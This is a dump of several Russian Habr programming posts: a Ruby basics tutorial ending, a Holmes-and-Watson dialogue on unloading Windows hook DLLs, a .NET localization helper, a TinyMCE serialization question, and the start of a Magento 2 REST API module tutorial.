Иногда в коде можно увидеть, что в начале имён переменных используются специальные символы, уточняющие их особые свойства. Сейчас мы просто привыкаем к тому, как они выглядят, а чуть позже разберемся с этими особыми свойствами:
`@foo # переменная экземпляра`
`@@bar # переменная класса`
`$baz # глобальная переменная`
Переменные можно *использовать повторно*, несколько раз присваивая разные значения одному и тому же имени, но это считается плохой практикой. Опытные программисты пользуются этим свойством языка только в исключительных случаях, например для оптимизации алгоритмов.
Методами в Ruby называется то, что в других языках называют функциями. Отличие методов от функций в том, что методы всегда "прикрепляются" к какому-то объекту. В этом особенность Ruby как чистого объектного языка. В нём любое выражение обозначает либо объект, либо вызов методов объекта.
Для примера определим простую функцию с названием `function` в интерактивном режиме и посмотрим, как она будет себя вести:
```
[5] pry(main)> def function(parameter)
[5] pry(main)* parameter * 3.1415926
[5] pry(main)* end
=> :function
```
Мы объявили некоторую функцию с названием `function`, определили у неё один параметр, и умножаем этот параметр на короткую версию числа Пи. После передаём какой-то аргумент в эту функцию — пишем `function`, передаём пятёрку и получаем некий результат на выходе:
```
[6] pry(main)> function(5)
=> 15.707963
```
В следующем примере мы берём переменную `object` и связываем её с объектом `self`, который сейчас обозначает «контекст исполнения программы». Мы говорим: вызови метод `function` текущего контекста:
```
[7] pry(main)> object = self
=> main
[8] pry(main)> object.function(8)
=> 25.1327408
```
В Ruby также можно определить особые методы, которые ведут себя как самостоятельные объекты, но это мы рассмотрим в рамках отдельной лекции. А сейчас повторим, как объявить метод. Мы пишем имя метода, описываем параметры, пишем тело. метод можно вызвать, а результат его выполнения — передать в другой метод и т.д. При описании параметров и при вызове метода можно опускать круглые скобки, но и в этом случае нужно разделять параметры/аргументы запятыми:
```
def quadruple(parameter)
parameter * 4
end
quadruple(8)
# => 32
def multiply a, b
a * b
end
multiply 2, 2
# => 4
```
Методам можно задавать параметры по умолчанию. В следующем примере второй параметр метода `multiply` примет значение 1, если его не передадут при вызове. В примере мы передали только четвёрку, но если бы мы передали 4-запятая-2 то второй параметр был бы двойкой, вместо единицы:
```
# параметр со значением по умолчанию
def multiply(x, multiplier = 1)
x * multiplier
end
multiply 4
# => 4
```
Также в Ruby существуют *именованные параметры*. Для них также возможно задание значений по умолчанию:
```
# именованный параметр
def greeting(name: 'Nobody')
"Aloha #{name}"
end
greeting
# => "Aloha Nobody"
greeting(name: "Arthur")
# => "Aloha Arthur"
```
Отдельно отметим отличие терминов «параметры» и «аргументы». То, что мы описываем в коде функции, принято называть параметрами. То, что передаём при вызове — аргументами.
В приведённых примерах нет оператора `return` в конце метода. Это иллюстрация того, как Ruby работает с выражениями. Метод — частный случай *составного выражения*. *В Ruby значением составного выражения является значение последнего подвыражения*. Такое свойство позволяет программисту компактнее выражать свои мысли, а языку — однородно работать с возвратами из методов в ситуациях различной сложности.
Оператор `return` использовать не запрещено, но использование его в конце метода — плохой стиль. Хороший стиль — использовать `return` в так называемых защитных выражениях, для «раннего возврата» из метода:
```
def safe_divide(a, b)
return Nothing if b == 0
Some(a / b)
end
```
Если у оператора `return` нет аргументов, возвращается `nil`, то есть пустой объект. Метод с пустым телом в следующем примере тоже возвращает `nil` как результат своего выполнения. Обратите внимание, что само объявление метода — это также выражение, значением которого является имя этого метода в особом виде — *символ*:
```
def fun
end
# => :fun
```
Поговорим об управляющих выражениях в Ruby. Кроме того, что они управляют последовательностью выполнения вычислений других выражений, они также вычисляются сами. К управляющим выражениям относятся ветвление, цикл, составные выражения, блоки и обработчики исключений. На двух примерах различные ветвления: в одну строку, простые if, if-else, выражения с модификаторами, тернарные операторы, кейс-выражения:
```
z = gets.to_i
# ветвление в одну строку
a = if z > 0 then z else 42 end
# простой if
if z == 4
puts 'FOUR'
end
# полный if-else
if z == 42
puts 'The Answer is correct!'
else
puts 'The Answer is incorrect'
end
# выражение с модификатором
puts("Negative number #{z}") if z < 0
# тернарный оператор
z > 0 ? :ok : :not_ok
# case-выражение
resolution = case z
when 100_500 then :foo
when 42 then :oops
when 1 then :smol
else :no_way
end
```
Ruby как и многие другие языки программирования, поддерживает циклы. Их можно объявить с помощью слов `while` и `for`. Попробуйте выполнить этот пример самостоятельно и порассуждать, как он работает:
```
n = 0
ns = []
while n < 100 do
ns << n if n.odd?
n += 1
end
is = 0
for i in 0..100_500
is += 25 if i % 5 == 0
end
```
Также в качестве управляющего выражения можно встретить *составные выражения*. В качестве границ составного выражения можно использовать круглые скобки либо `begin` и `end`, как в примере:
```
x = begin
b = 1
a = 2
b + a
end
# => 3
```
Особенность Ruby — возможность описывать повторяющиеся вычисления в виде блоков, которые являются свойством сложных объектов — *итераторов*. Блок — это одно или несколько выражений, заключённых между словами do и end или фигурными скобками:
```
[32] pry(main)> 5.times do |i|
[32] pry(main)* puts "This is iteration #{i}"
[32] pry(main)* end
This is iteration 0
This is iteration 1
This is iteration 2
This is iteration 3
This is iteration 4
=> 5
```
В блоках можно описывать параметры, в виде списка в вертикальных скобках. Блок — это одна из главных суперспособностей Ruby. Мы часто будем видеть блоки в разбираемых примерах.
В Ruby есть специальный механизм прерывания вычислений. Это *исключения*. Исключения — это особые объекты, несущие информацию о точке прерывания вычислений. Их можно активировать произвольно из любого участка кода. Также мы можем их перехватывать и обрабатывать.
Если исключение не «поймать», вся программа прервётся в точке его активации и выдаст сообщение об ошибке. В обработчиках исключений пишут действия, которые программе нужно выполнить для аккуратного завершения работы или обхода опасного участка:
```
# Необработанное исключение
[1] pry(main)> puts "I am your father!"
I am your father!
=> nil
[2] pry(main)> raise "NOOOOOOOOOOO!!!"
RuntimeError: NOOOOOOOOOOO!!!
```
На следующем примере видно активацию, перехват и обработку исключения.
```
# Исключение с обработчиком
def luke(vaders_phrase)
raise "NOOOOOO!!!" if vaders_phrase == "I am your father!"
puts "Luke keeps hanging on"
rescue => e
puts "Team saves Luke after #{e}"
end
[4] pry(main)> luke "Hang on!"
Luke keeps hanging on
[5] pry(main)> luke "I am your father!"
Team saves Luke after NOOOOOO!!!
```
Наш обзор императивных свойств языка Ruby мы закончим *областями видимости переменных*. Понимание областей видимости — это важный элемент рассуждения о программе — для программиста, мощный инструмент управления процессом вычислений — для машины.
Область видимости переменной — это регион программы, в котором возможно её использование. Ранее мы упоминали, существуют особые знаки, которые управляют областями видимости переменных:
`@foo # переменная экземпляра: определяется в цикле жизни экземпляра`
`@@bar # переменная класса: определяется для всего класса`
`$baz # глобальная переменная: видна во всей программе`
В первой строке — пример объявления переменной экземпляра класса, которая доступна только в рамках текущего, конкретного экземпляра класса. Она объявляется с помощью `@` перед названием переменной. С помощью `@@` объявляются переменные класса, которые доступны во всех экземплярах класса. С помощью `$` перед названием переменных объявляются и используются глобальные переменные, которые доступны в любом участке вашего кода.
Глобальных переменных следует избегать. Они способны значительно затруднить понимание и выполнение программы. Если переменная может быть объявлена в одном месте, использоваться в другом, изменяться в третьем — будет очень сложно контролировать такую программу.
Переменные экземпляра класса являются *автоматическими*. Их можно использовать без объявления. Значением неинициализированной переменной экземпляра класса является `nil`.
Если перед именем переменной нет специального знака, такая переменная является локальной. Область в пределах которой видна локальная переменная называется *локальной областью видимости*. Локальные области видимости создаются при определении классов, модулей, методов или блоков.
Управляющие выражения не создают локальные области видимости. В примере мы видим, метод `scope_test`, внутри которого объявляется переменная `а`; мы можем вызвать метод `scope_test` и получить то, во что вычислилось последнее выражение этого метода, однако `а` не будет видно «снаружи» и в этом месте мы получим исключение:
```
def scope_test
a = 100
end
scope_test
# => 100
a
# => NameError: undefined local variable or method `a' ...
```
В следующем примере, переменная `d` задаётся внутри блока, внутри которого создается новая локальная область видимости. Обращение к `d` вне блока также активирует исключение:
```
5.times do |i|
puts "Iteration #{i}"
d = i
end
d
# => NameError: undefined local variable or method `d' ...
```
Локальная область видимости распространяется на локальные области, вложенные в неё. Если во вложенных областях видимости присвоить значение переменной которая совпадает с именем переменной, определённой во внешней локальной области — произойдёт изменение внешней переменной. При определении блоков либо методов, параметры которых одноимённы переменным или методам во внешней локальной области видимости, происходит так называемое затенение переменной:
```
a = 34
5.times do |i|
a += i # мутируется внешняя переменная `a`
p [i, a]
end
a
# => 44
```
За редким исключением, затенение считается плохим стилем, так как является потенциальным источником ошибок. В примере наглядно видно, как работает затенение: есть переменная `bool`, которая описана во внешней области видимости со значением `false`, и есть какой-то блок, внутри которого есть параметр блока с таким же названием, `bool`:
```
bool = false
bools.each do |bool| # формируется затенение
if func(bool) == 42
bool = true # мутируется внутренняя переменная блока
end
end
bool # => false : внешняя переменная не изменилась
```
В данном случае присвоение переменной значения `true`, никак не влияет на переменную во внешнем контексте, соответственно `bool` во внешней области видимости так и останется связанным со значением `false`.
Вот второй пример: есть метод или класс с некоторым именем и метод, в котором определён параметр с таким же именем; этот параметр не будет относится к методу, который мы объявили выше:
```
def zero
0
end
def add3(zero) # затенение
zero + 3 # используется локальная переменная, а не внешний метод
end
zero
# => 0
add3(8)
# => 11
```
В императивном стиле программа воспринимается как «глупый» вычислитель, выполняющий последовательность инструкций в порядке ввода. На протяжении курса мы увидим, что Ruby гораздо умнее, и наши программы на нём могут быть совсем не глупыми. | https://habr.com/ru/post/689076/ | null | ru | null |
# Разрегистрация оконного крюка

**Холмс**. А скажите, друг мой Ватсон, доводилось ли вам разрегистрировать оконный крюк, в особенности глобальный?
**Ватсон**. Хм… что же может быть проще, дорогой Холмс.
```
::UnhookWindowsHookEx( hhookMy);
```
**Х**. Не скажите, Ватсон, не скажите. После этого вызова DLL-модуль, содержащий функцию крюка, по-прежнему загружен во все процессы, в которые был загружен. Система выполняет выгрузку этого DLL лишь спустя некоторое время. А именно в тот момент, когда через очереди сообщений всех нитей (имеющих таковую очередь) пройдёт хотя бы по одному оконному сообщению. И так для каждого процесса на рабочем столе.
**В**. Вот, ничего себе! Вы случайно не разыгрываете меня, Холмс? Это же User32. Одна из главных частей в Win32, на которую в свою очередь опираются все прочие технологии в Windows. Та же .Net, к примеру. И вдруг такое не вполне детерминированное поведение.
А `CreateFile`, случайно, не создаёт файл тоже отложенно – например, до момента первой записи в файл? А `CreateProcess`, случайно, не…
**Х**. Нет, Ватсон, на этот раз я не шучу. `CreateFile` и `CreateProcess` это у нас Kernel32 – совсем другое дело.
Поверьте, дружище. Занимаясь своими расследованиями, я потратил массу времени на изучение внутреннего устройства модуля User32 и с уверенностью утверждаю: авторы написали (и поддерживают) его совершенно не с таким качеством, как Kernel32.
**В**. Наверное, это просто другая команда разработчиков?
**Х**. Да, очевидно так.
**В**. Быть может, такое поведение всё же оправдано. И правда, так ли уж важно, когда выгружается крюковой DLL?
**Х**. Вообразите, что наше приложение обновило себя через Интернет и перезапускается. После перезапуска окажется, что в некоторые процессы загружена старая версия DLL, а в некоторые новая. И в данном случае старая версия не выгрузится и тогда, когда через очереди пройдут сообщения.
**В**. Какой ужас!
Но постойте. Если приложение обновило свои файлы, значит оно переименовало старую версию крюкового DLL или переместило её куда-нибудь во временный каталог. Затем запускается новая версия… Она же передаёт в `SetWindowsHookEx` адрес DLL, файловый путь которого теперь отличается от того DLL, который, как вы говорите, остался загруженным.
Вы хотите сказать, что система создаст крюк, нацеленный не на тот DLL, который передаём в `SetWindowsHookEx`? Не может такого быть!
**Х**. В тех процессах, из которых DLL выгрузиться не успел, именно так и произойдёт, клянусь своей тюнингованной клавиатурой.
По-видимому, User32 внутри себя сохраняет путь, который DLL имел в момент первого создания крюка. При втором создании он считает, что это тот же самый DLL и не требуется его выгружать и заново загружать.
**В**. Мда… И как со всем этим быть? Что если после `UnhookWindowsHookEx` просто выждать, скажем, секунду. Оконные сообщения возникают же довольно часто.
**Х**. Это если пользователь что-нибудь делает с окном. А, например, минимизированные окна ведут себя тихо. Нет никаких гарантий, что в каждой очереди в течение секунды возникнет сообщение. Или в течение часа.
**В**. Что же делать? Как прикажете гарантированно выгружать DLL из всех процессов?
(Холмс молчит и, покуривая, смотрит на Ватсона.)
**В**. Будет вам, Холмс. Уверен, вы уже придумали правильный выход из ситуации. Поделитесь, прошу вас.
**Х**. Пусть наша крюковая функция, обнаружив, что впервые выполняется в некоторой нити, создаст в специальном временном файле файловый поток. И прямо в имени этого потока укажет ид нити, в которой выполняется. Примерно так:
```
using namespace std;
namespace k = Kernel32;
...
if( nullptr == tls_plistiterHookedThreadFileStreamHandle) // Переменная размещена в локальной памяти нити.
{
_listHookedThreadFileStreamHandles.push_front( k::CreateFile(
k::FormatMessage(
L"%1:%2!4u! %3!4u!",
sHookedThreadListFilePath,
k::GetCurrentThreadId(),
k::GetCurrentProcessId()
),
GENERIC_WRITE,
FILE_SHARE_READ,
CREATE_ALWAYS,
FILE_FLAG_DELETE_ON_CLOSE
));
tls_plistiterHookedThreadFileStreamHandle
= new list< HANDLE>::iterator( _listHookedThreadFileStreamHandles.begin());
}
```
Тогда главный EXE сможет перебрать эти потоки (`FindNextStream`) и послать сообщение `WM_NULL` в каждую нить, которую User32 связал с нашим крюком. В результате User32 выгрузит DLL.
DLL же, выгружаясь, должен закрыть все описатели из списка `_listHookedThreadFileStreamHandles`.
Таким образом получаем ещё и хороший критерий того, что дело сделано, – успех при попытке удалить наш временный файл.
**В**. Холмс, а к чему такие сложности? Вот же есть `SendMessage` с аргументом `HWND_BROADCAST`.
**Х**. `SendMessage` не отправляет сообщения абсолютно во все нити, имеющие очередь. Впрочем, пожалуй, так тоже будет работать. Почти всегда.
(Кричит.) Миссис Хадсон, подавайте чай, пожалуйста!
##### На следующий день
**В**. Холмс, один джентльмен [сообщил](#comment_6065973), что `SendMessage( HWND_BROADCAST)` не помогает, по крайней мере, в его случае.
**Х**. Хм. | https://habr.com/ru/post/174565/ | null | ru | null |
# Локализация .NET приложения, а в частности ASP.NET WebForms
Привет Хабрадруг!
Я, конечно, понимаю, что тема это уже заезжена до дыр, но попытаюсь описать мое видение локализации приложения и ее реализацию. И так, что мы хотим получить в итоге: Систему быстрой локализации .NET приложения, а в частности WebForms, на стадии пост разработки. По пунктам:
1. Разработка приложения: минимум внимания локализации.
2. Завершение разработки: минимум времени на локализацию.
И ещё надо, что бы это все было максимально удобно и просто.
Если коротко, то все будет выглядеть так:
У нас будет метод, что то на подобии *gettext*, в который мы будем передавать какой-то текст, или ключ + текст, а метод в свою очередь нам вернет локализованную строку или же то, что было в него передано. А также будет утилита, которая пропарсит *\*.cs*, *\*.aspx*, *\*.ascx* файлы в поисках этого самого метода, получит оттуда ключи и текст, посмотрит или данные тексты и ключи уже имеются в ресурсах приложения. Потом мы воспользуемся google translate, что бы хоть худо бедно, да перевести новые тексты. И напоследок отредактируем переводы и сохраним это все назад в ресурсы. Готово.
Явно, что похожий, или может даже лучший механизм уже разработан, но полазив в интернете, увидел только мега тяжёлые и к тому-же платные решения.
Итак, приступим к реализации. Начнем со вспомогательного класса, a для server-side контролов c ExpressionBuilder-a:
> `public static class L
>
> {
>
> private static readonly Regex KeyRepairRegex = new Regex("[^\\w\\d]", RegexOptions.Compiled);
>
>
>
> public static string Run(string value)
>
> {
>
> var key = GenerateKey(value);
>
> var localized = Resources.ResourceManager.GetString(key);
>
> return string.IsNullOrEmpty(localized) ? value : localized;
>
> }
>
>
>
> public static string Run(string key, string value)
>
> {
>
> var localized = Resources.ResourceManager.GetString(key);
>
> return string.IsNullOrEmpty(localized) ? value : localized;
>
> }
>
>
>
> public static string Run(string key, string value, params object[] format)
>
> {
>
> var localized = Run(key, value);
>
>
>
> if (format != null && format.Length > 0)
>
> {
>
> try
>
> {
>
> localized = string.Format(localized, format);
>
> }
>
> catch
>
> {
>
>
>
> }
>
> }
>
> return localized;
>
> }
>
>
>
> private static string GenerateKey(string value)
>
> {
>
> if (string.IsNullOrEmpty(value)) return value;
>
>
>
> value = value.Length > 23 ? value.Substring(0, 23) + "\_\_" : value;
>
> value = KeyRepairRegex.Replace(value, "\_");
>
> if (char.IsUpper(value[0])) value = "\_" + value;
>
> value = value.ToLowerInvariant();
>
>
>
> return value;
>
> }
>
> }`
Теперь, во время разработки, в местах, где нам понадобится локализация пишем:
> `<%= L.Run("Hello, Mr.Everybody") %>`
Класс *L* специально не находиться ни в каком *namespace*, что бы не приходилось в *\*.ascx* файлах делать его импорт.
> `<%@ Import Namespace ="Example.Namespace" %>`
Здесь есть, как видно из кода, не мало важный метод *GenerateKey*. Если мы передаем только текст, без ключа, то этот метод сгенерирует ключ и именно этот ключ мы будем искать в ресурсах. Ключ в ресурсах может содержать только символы [a-z0-9\_]. И наша утилита будет использовать этот же метод для генерации ключей. Сейчас еще рассмотрим ExpressionBuilder и приведу более конкретный пример всей схемы. Для чего же нам нужен этот самый Builder?
Конструкция <%=%> в серверных контролах приведет к ошибке, а для <%# %> надо дополнительно вызывать DataBind метод, что не очень удобно. Нам нужен класс унаследованный от ExpressionBuilder.
> `public class LExpressionBuilder: ExpressionBuilder
>
> {
>
> public override CodeExpression GetCodeExpression(BoundPropertyEntry entry, object parsedData, ExpressionBuilderContext context)
>
> {
>
> var thisType = new CodeTypeReferenceExpression(GetType());
>
> var expression = new CodePrimitiveExpression(entry.Expression.Trim());
>
> const string evaluationMethod = "Localize";
>
> return new CodeMethodInvokeExpression(thisType, evaluationMethod, new CodeExpression[] { expression });
>
> }
>
>
>
> public static string Localize(string expression)
>
> {
>
> return L.Run(expression);
>
> }
>
>
>
> public override object EvaluateExpression(object target, BoundPropertyEntry entry, object parsedData, ExpressionBuilderContext context)
>
> {
>
> return Localize(entry.Expression);
>
> }
>
>
>
> public override bool SupportsEvaluate
>
> {
>
> get { return true; }
>
> }
>
> }`
В результате пишем:
> `'submit' id='btnSubmit' runat='server' value="<%$ L:A people free to choose will always choose peace %>"/>`
Первая часть готова. Переходим к утилите. Это обыкновенное WinForms приложение.
[Диаграмма Классов](http://habrastorage.org/storage/80eaa1a7/4b17f8bb/7cb8f36d/78e97e6a.jpg)
Как видно из диаграммы, код довольно прямолинейный. Но главное — простой. Мы загружаем нужный нам *Solution* или проект, указываем в классе Settings путь к нашему файлу ресурсов. И ...«поехали»! *Solution* класс загрузит все файлы. *CodeParser* загрузит все строки и ключи в класс *Translation*, который в свою очередь, загрузит все переводы с ресурсов и покажет все это в GridView. Теперь можно переводить вручную или через google, можна сохранить оригинальные строки в текстовый файл или что то еще реализовать, к примеру, сохранение в *xml*.
[Assembla Subversion](http://www.assembla.com/code/rlocalizer/subversion/nodes)*(Регистрация не обязательна)*
Утилита эта написана для себя нa скорую руку, по принципу: «лишь бы работало», поэтому попрошу гуру не судить строго. Если будет у кого то интерес, могу довести это дело до, хотя бы, альфа версии.
Что ещё хочется сделать:
*CodeParser* выдирая строки из файлов запоминает их позиции. А так как большинство локализированных строк идут у меня изначально без ключей, то на их генерацию уходит несколько лишних наносекунд, поэтому утилита должна после вставлять в файлы ключи к строкам.
Но и без этого все работает очень шустро, хотя буду рад выслушать любую критику или пожелания.
Спасибо за внимание.
> `\* Source code was highlighted with Source Code Highlighter.` | https://habr.com/ru/post/111451/ | null | ru | null |
# TinyMCE — получение содержимого редактора.
Хотелось спросить у сообщества совета, так как сам я вследствие неопытности в данном вопросе никак не могу найти решение.
Описываю ситуацию:
Пишу редактор структуры сайта. Сделан он следующим образом: при клике на раздел вслывает окно thickbox, в который загружается редактор раздела, частью которого является TinyMCE. В редакторе присутствует кнопочка «применить», функция которой сводится к сериализации данных формы, отсылки этих данных на сервер, получение ответа и замена этим ответом содержимого thickbox. Выглядит это так:
`function submit_form(button) {
var str = $("#edit_form").serialize()+"&"+button+"=true";
$.post("update", str, function(data) {
$("#container").parent().html(data);
});
}`
Содержимое TinyMCE не содержится в textarea и, соответственно не сериализуется. Вариантов решения мне видится два: либо копировать содержимое редактора в textarea перед сериализацией, либо как-то сериализовать его отдельно и приаттачивать к посылаемой строке. Вот тут-то и всплывают грабли, на которых я отплясываю уже некоторое время: в TinyMCE не существует ни переменной которая бы просто сожержала контент редактора, ни функции которая бы этот контент возвращала без каких-либо лишних махинаций (ну или я просто её не смог найти — в этом случае ткните меня носом и я отстану от вас, посыпапя голову пеплом). Единственное, что я нашел — это метод [getContent](http://wiki.moxiecode.com/index.php/TinyMCE:API/tinymce.Editor/getContent), который «Gets the content from the editor instance, this will cleanup the content before it gets returned using the different cleanup rules options.» Я не совсем понимаю смысл этой фразы, но если воспользоваться этим методом так как я это попробовал:
`function submit_form(button) {
$("#text").val(tinyMCE.get('text').getContent());
var str = $("#edit_form").serialize()+"&"+button+"=true";
$.post("update", str, function(data) {
$("#container").parent().html(data);
});
}`
то при загрузке в thickbox второй раз строчка `$("#text").val(tinyMCE.get('text').getContent());` не срабатывает. Редактор есть, содержимое в нем есть, а метод не работает, и соответственно вся функция submit\_form() — тоже.
Вразумите молодого падавана, а?
Если нужно каких-то дополнительных сведений — скажите, я дополню.
P.S. Я не являюсь знатоком javascript и использую его только постольку, поскольку приходится и без него — никуда. Поэтому заявления «уйди с глаз долой неумеха» со скорбным видом принимаются, но я рекомендую обойтись без них — это и так понятно. К сообществу я обратился только после того как долго тыкался сам и решения не нашел.
Update:
Проблему удалось решить вот так:
`function submit_form(button) {
tinyMCE.get('text').save();
var str = $("#edit_form").serialize()+"&"+button+"=true";
$.post("update", str, function(data) {
tinyMCE.get('text').remove();
$("#container").parent().html(data);
});
}`
Ну а контент проще всего получить через tinyMCE.get('text').getBody().innerHTML;
По всей видимости при замене содержимого thickbox создавался новый экземпляр редактора а старый никуда не девался, поэтому надо было использовать remove(), который я поместил в $.post чтобы момент преображения ~~принцессы в лягушку~~ редактора в textarea происходил наиболее незаметно для пользователя. | https://habr.com/ru/post/37311/ | null | ru | null |
# Magento 2 REST API на примере простого модуля
Приветствую вас, уважаемые хабравчане! Поскольку я занимаюсь разработкой на e-commerce платформе Magento с 2013 года, то набравшись храбрости и посчитав, что в этой области я могу себя назвать, как минимум, уверенным разработчиком, решил написать свою первую статью на хабре именно об этой системе. И начну я с реализации REST API в Magento 2. Здесь из коробки есть функционал для обработки запросов и я постараюсь продемонстрировать его на примере простого модуля. Данная статья больше рассчитана на тех, кто уже работал с Маджентой. И так, кто заинтересовался, прошу под кат.
#### Завязка
С фантазией у меня совсем плохо, поэтому пример я придумал следующий: представим, что нам надо реализовать блог, писать статьи могут только юзеры из админки. Периодически к нам стучится какая-нибудь CRM и выгружает к себе эти статьи (зачем непонятно, но так мы оправдаем использование REST API). Для упрощения модуля я специально опустил реализацию отображения статей на фронтенде и в админке (можете реализовать самостоятельно, рекомендую хорошую [статью](https://habr.com/post/315182/) по гридам). Здесь будет затронут только функционал обработки запросов.
#### Развитие действия
Для начала создаем [структуру](https://devdocs.magento.com/guides/v2.2/extension-dev-guide/build/module-file-structure.html) модуля, назовем его *AlexPoletaev\_Blog* (отсутствие фантазии еще никуда не делось). Модуль размещаем в директории *app/code*.
**AlexPoletaev/Blog/etc/module.xml**
```
xml version="1.0"?
```
**AlexPoletaev/Blog/registration.php**
```
php
\Magento\Framework\Component\ComponentRegistrar::register(
\Magento\Framework\Component\ComponentRegistrar::MODULE,
'AlexPoletaev_Blog',
__DIR__
);
</code
```
Эти два файла — необходимый минимум для модуля.
Если все делать по фэншую, то нам необходимо создать service контракты (что это такое в пределах мадженты и как работает почитать можно [тут](https://devdocs.magento.com/guides/v2.2/extension-dev-guide/service-contracts/service-contracts.html) и [тут](https://devdocs.magento.com/guides/v2.2/extension-dev-guide/service-contracts/design-patterns.html)), чем мы и займемся:
**AlexPoletaev/Blog/Api/Data/PostInterface.php**
```
php
namespace AlexPoletaev\Blog\Api\Data;
/**
* Interface PostInterface
* @package AlexPoletaev\Api\Data
* @api
*/
interface PostInterface
{
/**#@+
* Constants
* @var string
*/
const ID = 'id';
const AUTHOR_ID = 'author_id';
const TITLE = 'title';
const CONTENT = 'content';
const CREATED_AT = 'created_at';
const UPDATED_AT = 'updated_at';
/**#@-*/
/**
* @return int
*/
public function getId();
/**
* @param int $id
* @return $this
*/
public function setId($id);
/**
* @return int
*/
public function getAuthorId();
/**
* @param int $authorId
* @return $this
*/
public function setAuthorId($authorId);
/**
* @return string
*/
public function getTitle();
/**
* @param string $title
* @return $this
*/
public function setTitle(string $title);
/**
* @return string
*/
public function getContent();
/**
* @param string $content
* @return $this
*/
public function setContent(string $content);
/**
* @return string
*/
public function getCreatedAt();
/**
* @param string $createdAt
* @return $this
*/
public function setCreatedAt(string $createdAt);
/**
* @return string
*/
public function getUpdatedAt();
/**
* @param string $updatedAt
* @return $this
*/
public function setUpdatedAt(string $updatedAt);
}
</code
```
**AlexPoletaev/Blog/Api/PostRepositoryInterface.php**
```
php
namespace AlexPoletaev\Blog\Api;
use AlexPoletaev\Blog\Api\Data\PostInterface;
use Magento\Framework\Api\SearchCriteriaInterface;
/**
* Interface PostRepositoryInterface
* @package AlexPoletaev\Api
* @api
*/
interface PostRepositoryInterface
{
/**
* @param int $id
* @return \AlexPoletaev\Blog\Api\Data\PostInterface
*/
public function get(int $id);
/**
* @param \Magento\Framework\Api\SearchCriteriaInterface $searchCriteria
* @return \AlexPoletaev\Blog\Api\Data\PostSearchResultInterface
*/
public function getList(SearchCriteriaInterface $searchCriteria);
/**
* @param \AlexPoletaev\Blog\Api\Data\PostInterface $post
* @return \AlexPoletaev\Blog\Api\Data\PostInterface
*/
public function save(PostInterface $post);
/**
* @param \AlexPoletaev\Blog\Api\Data\PostInterface $post
* @return bool
*/
public function delete(PostInterface $post);
/**
* @param int $id
* @return bool
*/
public function deleteById(int $id);
}
</code
```
Разберем немного подробнее эти два интерфейса. Интерфейс *PostInterface* отображает таблицу со статьями из нашего блога. Таблицу создадим ниже. Каждая колонка из базы данных должна иметь свой геттер и сеттер в этом интерфейсе, почему это важно — выясним позже. Интерфейс *PostRepositoryInterface* предоставляет стандартный набор методов для взаимодействия с базой данных и хранения в кэше загруженных сущностей. Эти же методы используются и для API. Еще одно важное замечание, наличие корректных PHPDocs в этих интерфейсах **обязательно**, так как Маджента, обрабатывая REST запрос, использует рефлексию для определения входящих параметров и возвращаемых значений в методах.
С помощью [install скрипта](https://devdocs.magento.com/videos/fundamentals/add-a-new-table-to-database/) создаем таблицу, где будут храниться посты из блога:
**AlexPoletaev/Blog/Setup/InstallSchema.php**
```
php
namespace AlexPoletaev\Blog\Setup;
use AlexPoletaev\Blog\Api\Data\PostInterface;
use AlexPoletaev\Blog\Model\ResourceModel\Post as PostResource;
use Magento\Framework\DB\Adapter\AdapterInterface;
use Magento\Framework\DB\Ddl\Table;
use Magento\Framework\Setup\InstallSchemaInterface;
use Magento\Framework\Setup\ModuleContextInterface;
use Magento\Framework\Setup\SchemaSetupInterface;
use Magento\Security\Setup\InstallSchema as SecurityInstallSchema;
/**
* Class InstallSchema
* @package AlexPoletaev\Blog\Setup
*/
class InstallSchema implements InstallSchemaInterface
{
/**
* Installs DB schema for a module
*
* @param SchemaSetupInterface $setup
* @param ModuleContextInterface $context
* @return void
*/
public function install(SchemaSetupInterface $setup, ModuleContextInterface $context)
{
$setup-startSetup();
$table = $setup->getConnection()
->newTable(
$setup->getTable(PostResource::TABLE_NAME)
)
->addColumn(
PostInterface::ID,
Table::TYPE_INTEGER,
null,
['identity' => true, 'unsigned' => true, 'nullable' => false, 'primary' => true],
'Post ID'
)
->addColumn(
PostInterface::AUTHOR_ID,
Table::TYPE_INTEGER,
null,
['unsigned' => true, 'nullable' => true,],
'Author ID'
)
->addColumn(
PostInterface::TITLE,
Table::TYPE_TEXT,
255,
[],
'Title'
)
->addColumn(
PostInterface::CONTENT,
Table::TYPE_TEXT,
null,
[],
'Content'
)
->addColumn(
'created_at',
Table::TYPE_TIMESTAMP,
null,
['nullable' => false, 'default' => Table::TIMESTAMP_INIT],
'Creation Time'
)
->addColumn(
'updated_at',
Table::TYPE_TIMESTAMP,
null,
['nullable' => false, 'default' => Table::TIMESTAMP_INIT_UPDATE],
'Update Time'
)
->addForeignKey(
$setup->getFkName(
PostResource::TABLE_NAME,
PostInterface::AUTHOR_ID,
SecurityInstallSchema::ADMIN_USER_DB_TABLE_NAME,
'user_id'
),
PostInterface::AUTHOR_ID,
$setup->getTable(SecurityInstallSchema::ADMIN_USER_DB_TABLE_NAME),
'user_id',
Table::ACTION_SET_NULL
)
->addIndex(
$setup->getIdxName(
PostResource::TABLE_NAME,
[PostInterface::AUTHOR_ID],
AdapterInterface::INDEX_TYPE_INDEX
),
[PostInterface::AUTHOR_ID],
['type' => AdapterInterface::INDEX_TYPE_INDEX]
)
->setComment('Posts')
;
$setup->getConnection()->createTable($table);
$setup->endSetup();
}
}
```
В таблице будут следующие колонки (не забываем, у нас все максимально упрощено):
* id — автоинкремент
* author\_id — идентификатор юзера админки (внешний ключ на поле user\_id из таблицы admin\_user)
* title — заголовок
* content — текст статьи
* created\_at — дата создания
* updated\_at — дата редактирования
Теперь необходимо создать стандартный для Мадженты набор *Model*, *ResourceModel* и *Collection* классов. Для чего эти классы я расписывать не буду, эта тема обширна и выходит за рамки этой статьи, кому интересно, может погуглить самостоятельно. Если в двух словах, то эти классы нужны для манипуляций с сущностями (статьями) из базы данных. Советую еще почитать про паттерны Domain Model, Repository и Service Layer.
**AlexPoletaev/Blog/Model/Post.php**
```
php
namespace AlexPoletaev\Blog\Model;
use AlexPoletaev\Blog\Api\Data\PostInterface;
use AlexPoletaev\Blog\Model\ResourceModel\Post as PostResource;
use Magento\Framework\Model\AbstractModel;
/**
* Class Post
* @package AlexPoletaev\Blog\Model
*/
class Post extends AbstractModel implements PostInterface
{
/**
* @var string
*/
protected $_idFieldName = PostInterface::ID; //@codingStandardsIgnoreLine
/**
* @inheritdoc
*/
protected function _construct() //@codingStandardsIgnoreLine
{
$this-_init(PostResource::class);
}
/**
* @return int
*/
public function getAuthorId()
{
return $this->getData(PostInterface::AUTHOR_ID);
}
/**
* @param int $authorId
* @return $this
*/
public function setAuthorId($authorId)
{
